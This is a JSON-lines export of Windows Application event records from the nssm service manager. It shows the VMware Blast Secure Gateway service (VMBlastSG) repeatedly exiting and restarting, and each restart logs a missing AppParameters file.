{"@timestamp":1646789536395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164175}}
{"@timestamp":1646789536397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164176}}
{"@timestamp":1646789536398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161192","0"]}}},"module":"Application","provider":"nssm","sequence":164177}}
{"@timestamp":1646789536398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161192","161192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164178}}
{"@timestamp":1646789536414,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164179}}
{"@timestamp":1646789536415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164180}}
{"@timestamp":1646789536415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164181}}
{"@timestamp":1646789536416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164182}}
{"@timestamp":1646789665002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164183}}
{"@timestamp":1646789665003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164184}}
{"@timestamp":1646789665004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161420","0"]}}},"module":"Application","provider":"nssm","sequence":164185}}
{"@timestamp":1646789665005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161420","161420","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164186}}
{"@timestamp":1646789665022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164187}}
{"@timestamp":1646789665023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164188}}
{"@timestamp":1646789665023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164189}}
{"@timestamp":1646789665024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164190}}
{"@timestamp":1646789793507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164191}}
{"@timestamp":1646789793508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164192}}
{"@timestamp":1646789793508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160920","0"]}}},"module":"Application","provider":"nssm","sequence":164193}}
{"@timestamp":1646789793509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160920","160920","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164194}}
{"@timestamp":1646789793526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164195}}
{"@timestamp":1646789793526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164196}}
{"@timestamp":1646789793527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164197}}
{"@timestamp":1646789793528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164198}}
{"@timestamp":1646789922017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164199}}
{"@timestamp":1646789922019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164200}}
{"@timestamp":1646789922020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160944","0"]}}},"module":"Application","provider":"nssm","sequence":164201}}
{"@timestamp":1646789922020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160944","160944","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164202}}
{"@timestamp":1646789922037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164203}}
{"@timestamp":1646789922037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164204}}
{"@timestamp":1646789922038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164205}}
{"@timestamp":1646789922038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164206}}
{"@timestamp":1646790050531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164207}}
{"@timestamp":1646790050532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164208}}
{"@timestamp":1646790050533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160796","0"]}}},"module":"Application","provider":"nssm","sequence":164209}}
{"@timestamp":1646790050533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160796","160796","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164210}}
{"@timestamp":1646790050550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164211}}
{"@timestamp":1646790050550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164212}}
{"@timestamp":1646790050551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164213}}
{"@timestamp":1646790050552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164214}}
{"@timestamp":1646790179122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164215}}
{"@timestamp":1646790179122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164216}}
{"@timestamp":1646790179123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161456","0"]}}},"module":"Application","provider":"nssm","sequence":164217}}
{"@timestamp":1646790179123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161456","161456","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164218}}
{"@timestamp":1646790179139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164219}}
{"@timestamp":1646790179140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164220}}
{"@timestamp":1646790179140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164221}}
{"@timestamp":1646790179141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164222}}
{"@timestamp":1646790307639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164223}}
{"@timestamp":1646790307640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164224}}
{"@timestamp":1646790307641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160884","0"]}}},"module":"Application","provider":"nssm","sequence":164225}}
{"@timestamp":1646790307641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160884","160884","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164226}}
{"@timestamp":1646790307659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164227}}
{"@timestamp":1646790307660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164228}}
{"@timestamp":1646790307661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164229}}
{"@timestamp":1646790307662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164230}}
{"@timestamp":1646790436173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164231}}
{"@timestamp":1646790436174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164232}}
{"@timestamp":1646790436174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160644","0"]}}},"module":"Application","provider":"nssm","sequence":164233}}
{"@timestamp":1646790436174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160644","160644","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164234}}
{"@timestamp":1646790436191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164235}}
{"@timestamp":1646790436192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164236}}
{"@timestamp":1646790436192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164237}}
{"@timestamp":1646790436193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164238}}
{"@timestamp":1646790564693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164239}}
{"@timestamp":1646790564693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164240}}
{"@timestamp":1646790564694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158888","0"]}}},"module":"Application","provider":"nssm","sequence":164241}}
{"@timestamp":1646790564695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158888","158888","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164242}}
{"@timestamp":1646790564711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164243}}
{"@timestamp":1646790564712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164244}}
{"@timestamp":1646790564712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164245}}
{"@timestamp":1646790564713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164246}}
{"@timestamp":1646790693347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164247}}
{"@timestamp":1646790693349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164248}}
{"@timestamp":1646790693351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160048","0"]}}},"module":"Application","provider":"nssm","sequence":164249}}
{"@timestamp":1646790693352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160048","160048","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164250}}
{"@timestamp":1646790693368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164251}}
{"@timestamp":1646790693368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164252}}
{"@timestamp":1646790693369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164253}}
{"@timestamp":1646790693369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164254}}
{"@timestamp":1646790821873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164255}}
{"@timestamp":1646790821874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164256}}
{"@timestamp":1646790821875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160256","0"]}}},"module":"Application","provider":"nssm","sequence":164257}}
{"@timestamp":1646790821875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160256","160256","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164258}}
{"@timestamp":1646790821895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164259}}
{"@timestamp":1646790821896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164260}}
{"@timestamp":1646790821896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164261}}
{"@timestamp":1646790821897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164262}}
{"@timestamp":1646790950378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164263}}
{"@timestamp":1646790950379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164264}}
{"@timestamp":1646790950379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161044","0"]}}},"module":"Application","provider":"nssm","sequence":164265}}
{"@timestamp":1646790950380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161044","161044","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164266}}
{"@timestamp":1646790950396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164267}}
{"@timestamp":1646790950396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164268}}
{"@timestamp":1646790950397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164269}}
{"@timestamp":1646790950398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164270}}
{"@timestamp":1646791078887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164271}}
{"@timestamp":1646791078888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164272}}
{"@timestamp":1646791078889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161376","0"]}}},"module":"Application","provider":"nssm","sequence":164273}}
{"@timestamp":1646791078889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161376","161376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164274}}
{"@timestamp":1646791078908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164275}}
{"@timestamp":1646791078909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164276}}
{"@timestamp":1646791078909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164277}}
{"@timestamp":1646791078910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164278}}
{"@timestamp":1646791207541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164279}}
